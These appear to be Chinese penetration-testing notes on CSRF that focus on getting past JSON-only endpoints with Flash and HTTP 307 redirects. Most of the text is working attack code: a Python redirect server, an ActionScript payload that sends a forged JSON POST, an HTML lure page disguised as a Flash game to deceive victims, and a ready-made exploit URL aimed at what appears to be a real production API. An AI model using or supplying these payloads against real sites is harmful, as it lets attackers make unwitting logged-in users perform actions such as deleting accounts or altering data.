CSRF记录

笔记-CSRF-极简分类

1-简单

get+post_forms

只接受三种类型,text/plain、urlendocde、忘了

2-中等

限定type,例如最典型的:post-json

可以尝试几种常见方式 js、flash307、WebSocket、http请求走私等

*浏览器或者所在浏览的平台安全策略严谨的话建议当它没有csrf

3-安全

安全,以目前技术没希望的,或者只能

钓鱼、xss、cors等联合漏洞实现的


flash方法

若是服务器只校验post+content-type:json且存在请求体,八成相当于没有csrf

利用难点: 打开网址A的时候打开网址B

​ 若是网址接收option也可以直接用js操作

​ 服务器对发送种类限制,例如:json

正常来说没人管这个csrf,毕竟要联合xss或者其他反射的漏洞才能造成较大危害

可以用(CSRF + Flash + HTTP 307)继续绕过服务器对发送种类限制,例如:json

绕过json项目:

json-flash-csrf-poc

*注意:需要用户浏览器启用 Flash

​ *浏览器实现可能不同 所以 307 重定向默认会变成 GET 请求(即使原请求是 POST)

需要安装mxmlc命令,flex-config.xml内的playerglobal指向的参数可能要更改,以及32.0/43或者27.0/38

PoC工作流程

下面给出的是攻击的整个过程,其中目标用户的浏览器必须启用Flash:

\1. 用户在浏览器中登录http://victim-site/

\2. 用户被重定向到http://attacker-ip:8000/csrf.swf

\3. Flash文件加载成功,并向http://attacker-ip:8000/发送带有自定义Header的POST Payload。

\4. 攻击者的服务器发送HTTP 307重定向,这样便能让POST响应body和自定义HTTP头按原样发送到 http://victim-site/

\5. 目标用户刷新自己的 http://victim-site/ 页面,并发现自己的帐户已经被删除了。

POC-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from http.server import BaseHTTPRequestHandler, HTTPServer
import time

HOST = ''
PORT = 8000

class RedirectHandler(BaseHTTPRequestHandler):
def do_POST(self):
if self.path == '/csrf.swf':
self.send_response(200)
self.send_header("Content-Type", "application/x-shockwave-flash")
self.end_headers()
with open("csrf.swf", "rb") as f:
self.wfile.write(f.read())
return
self.send_response(307)
self.send_header("Location", "http://192.168.43.66:5000/api/test")
##该url为希望执行操作的网址

self.end_headers()

def do_GET(self):
print(self.path)
self.do_POST()

if __name__ == '__main__':
server_class = HTTPServer
httpd = server_class((HOST, PORT), RedirectHandler)
print('%s Server Starts - %s:%s' % (time.asctime(), HOST or '0.0.0.0', PORT))
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
print('%s Server Stops - %s:%s' % (time.asctime(), HOST or '0.0.0.0', PORT))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package
{
import flash.display.Sprite;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.net.URLRequestHeader;
import flash.net.URLRequestMethod;
public class csrf extends Sprite
{
public function csrf()
{
super();
var member1:Object = null;
var myJson:String = null;
member1 = new Object();
member1 = {
"acctnum":"100",
"confirm":"true"
};
var myData:Object = member1;
myJson = JSON.stringify(myData);
var url:String = "http://127.0.0.1:8000";
##该ip为攻击者服务器
var request:URLRequest = new URLRequest(url);
request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json"));
request.data = myJson;
request.method = URLRequestMethod.POST;
var urlLoader:URLLoader = new URLLoader();
try
{
urlLoader.load(request);
return;
}
catch(e:Error)
{
trace(e);
return;
}
}
}
}

###下方代码为伪装的网页,不用也可以,只要输入攻击者ip也会被定向,效果一样的
(会被过滤成get型)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

<!DOCTYPE html>
<html>
<head>
<title>Flash Game - Play Now!</title>
<!-- 伪装成正常网页,诱使用户访问 -->
<style>
body {
font-family: Arial, sans-serif;
text-align: center;
padding: 50px;
}
.flash-container {
margin: 20px auto;
width: 550px;
height: 400px;
border: 1px solid #ccc;
background: #f9f9f9;
}
</style>
</head>
<body>
<h1>🎮 Exciting Flash Game! 🎮</h1>
<p>Click below to play the game (requires Flash Player):</p>

<!-- 嵌入恶意 Flash -->
<div class="flash-container">
<object width="550" height="400">
<param name="movie" value="http://attacker-ip:8000/csrf.swf">
<embed src="http://attacker-ip:8000/csrf.swf" width="550" height="400">
</embed>
</object>
</div>

<p><small>Note: If you see a blank screen, make sure Flash Player is enabled.</small></p>

<!-- 额外伪装成正常内容 -->
<div style="margin-top: 30px;">
<p>This game requires Adobe Flash Player. <a href="#">Download here</a>.</p>
</div>
</body>
</html>

POC-2

1
https://www.0xdawn.cn/swf_json_csrf/test.swf?endpoint=https://sim.ecloud.10086.cn:8085/simauth/app/updateAppInfo&reqmethod=POST&ct=application/json;charset=UTF-8&jsonData={%22appId%22:%22300016001555%22,%22appName%22:%220xdawn%22}&php_url=https://www.0xdawn.cn/swf_json_csrf/test.php

csrf漏洞详解网址:

一次渗透测试引发的Json格式下CSRF攻击的探索-先知社区

../_code/csrf